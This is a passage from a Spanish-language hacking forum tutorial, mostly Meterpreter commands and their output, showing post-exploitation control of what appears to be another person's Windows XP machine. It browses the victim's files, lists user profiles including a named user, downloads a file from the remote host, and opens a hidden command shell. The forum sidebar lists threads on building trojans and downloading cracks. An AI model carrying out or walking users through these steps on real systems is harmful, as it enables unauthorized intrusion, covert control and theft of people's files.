Código:
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > cd c:\
meterpreter > pwd
c:\
meterpreter > ls
Listing: c:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100555/r-xr-xr-x 115578 fil 2009-09-07 15:08:08 -0600 3c.exe
100777/rwxrwxrwx 0 fil 2009-06-19 14:45:31 -0600 AUTOEXEC.BAT
40777/rwxrwxrwx 0 dir 2009-11-23 14:16:55 -0600 Archivos de programa
100444/r--r--r-- 4952 fil 2001-08-24 09:00:00 -0600 Bootfont.bin
100666/rw-rw-rw- 0 fil 2009-06-19 14:45:31 -0600 CONFIG.SYS
40777/rwxrwxrwx 0 dir 2009-06-19 15:37:30 -0600 Documents and Settings
100444/r--r--r-- 0 fil 2009-06-19 14:45:31 -0600 IO.SYS
40777/rwxrwxrwx 0 dir 2009-09-22 14:41:37 -0600 Inetpub
100444/r--r--r-- 0 fil 2009-06-19 14:45:31 -0600 MSDOS.SYS
40555/r-xr-xr-x 0 dir 2009-06-20 01:22:24 -0600 MSOCache
100555/r-xr-xr-x 47564 fil 2004-08-03 13:38:34 -0600 NTDETECT.COM
40777/rwxrwxrwx 0 dir 2009-06-19 14:59:32 -0600 PFiles
40777/rwxrwxrwx 0 dir 2009-06-19 15:05:15 -0600 System Volume Information
40777/rwxrwxrwx 0 dir 2009-09-22 14:46:04 -0600 WINDOWS
100666/rw-rw-rw- 2565 fil 2009-06-20 01:01:58 -0600 all
100444/r--r--r-- 51 fil 2009-12-13 15:28:09 -0600 autorun.inf
100666/rw-rw-rw- 211 fil 2009-06-19 14:39:45 -0600 boot.ini
100555/r-xr-xr-x 113233 fil 2009-08-26 04:22:00 -0600 hx.exe
100555/r-xr-xr-x 113455 fil 2009-09-01 13:23:59 -0600 i0yva6.exe
100555/r-xr-xr-x 112442 fil 2009-08-31 10:55:28 -0600 mt2.exe
100444/r--r--r-- 250640 fil 2004-08-03 13:59:42 -0600 ntldr
100666/rw-rw-rw- 402653184 fil 2009-12-13 08:17:25 -0600 pagefile.sys
meterpreter >
Como vemos, la navegacion es muy simple, practicamente es lo mismo que una consola normal.
Ahora ingresemos a la carpeta “Documents and Settings” para ver que usuarios podemos encontrar en el equipo remoto:
Código:
meterpreter > cd "Documents and Settings"
meterpreter > ls
Listing: c:\Documents and Settings
==================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2009-06-19 15:37:30 -0600 .
40777/rwxrwxrwx 0 dir 1979-12-31 17:00:00 -0600 ..
40777/rwxrwxrwx 0 dir 2009-06-19 14:48:48 -0600 Administrador
40777/rwxrwxrwx 0 dir 2009-06-19 14:43:23 -0600 All Users
40777/rwxrwxrwx 0 dir 2009-06-19 14:45:55 -0600 Default User
40777/rwxrwxrwx 0 dir 2009-06-19 15:05:10 -0600 LocalService
40777/rwxrwxrwx 0 dir 2009-06-19 14:47:12 -0600 NetworkService
40777/rwxrwxrwx 0 dir 2009-07-01 13:11:33 -0600 Ronny Josue
meterpreter >
Y asi, de esta forma podemos navegar por todo el sistema de archivos del equipo remoto. Ahora veamos como podriamos descargar un archivo:
Código:
meterpreter > pwd
C:\Documents and Settings\Ronny Josue\Mis documentos\Mis archivos recibidos\Install\AdobeReader
meterpreter > ls
Listing: C:\Documents and Settings\Ronny Josue\Mis documentos\Mis archivos recibidos\Install\AdobeReader
========================================================================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2009-11-23 14:16:00 -0600 .
40777/rwxrwxrwx 0 dir 2009-11-23 14:16:00 -0600 ..
100777/rwxrwxrwx 16661154 fil 2007-06-12 19:04:20 -0600 AR81Lite_ES.exe
meterpreter > lpwd
/root
meterpreter > download AR81Lite_ES.exe
[*] downloading: AR81Lite_ES.exe -> AR81Lite_ES.exe
[*] downloaded : AR81Lite_ES.exe -> AR81Lite_ES.exe
meterpreter >
Y asi de facil descargamos archivos del equipo remoto al local, el mismo procedimiento se sigue para subir archivos, solo hay que tomar en cuenta el directorio en el que estamos y el directorio al que subiriamos el archivo.
Hasta este punto ya conocen un poquito el manejo de algunos comandos, por si quieren ver alguna descripcion de un comando especifico, pueden poner comando -h en donde “comando” es uno de los comandos dispobles en Meterpreter, para ver cuales estan disponibles utilices el comando Help o ?.
Ahora veamos como podriamos interacturar con una shell por si eso es lo que nos interesa:
Código:
meterpreter > cd \
meterpreter > shell
Process 1104 created.
Channel 4 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>
Como vemos, el comando shell nos invoca una shell de windows abrindose en el directorio en donde la invoquemos. Tambien lo podriamos hacer asi:
Código:
meterpreter > execute -i -H -f cmd.exe
Process 1396 created.
Channel 5 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>
En donde:
-i: Interactua con la aplicacin a ejecutar
-H: Ejecuta el comando en modo oculto
-f: La aplicacion a ejecutar
Para volver a Meterpreter solo escribimos el comando exit.
Jue Feb 09, 2012 10:09 pm por Mercury15
» Mitos sobre la CPU (Verdades/Mentiras)
Jue Mar 03, 2011 9:56 pm por Mercury15
» Todo lo que hay que saber sobre el Exploit WMF
Jue Ago 05, 2010 8:12 pm por Mercury15
» Tutorial crear troyano profesional by Panzerfaust
Vie Jul 16, 2010 8:41 pm por Mercury15
» ¿Cómo comprar con Ukash en España? [Xat.com]
Vie Jul 16, 2010 7:54 am por Mercury15
» Descargar Text Aloud + Voces Crack [FullPack]
Jue Jul 15, 2010 8:39 pm por leon
» Ultimas novedades
Sáb Jul 03, 2010 10:58 am por Mercury15
» Ausencia de Mercury15 [2010]
Vie Jun 25, 2010 12:31 pm por Naruto
» Tengo una duda
Jue Jun 24, 2010 10:58 am por Naruto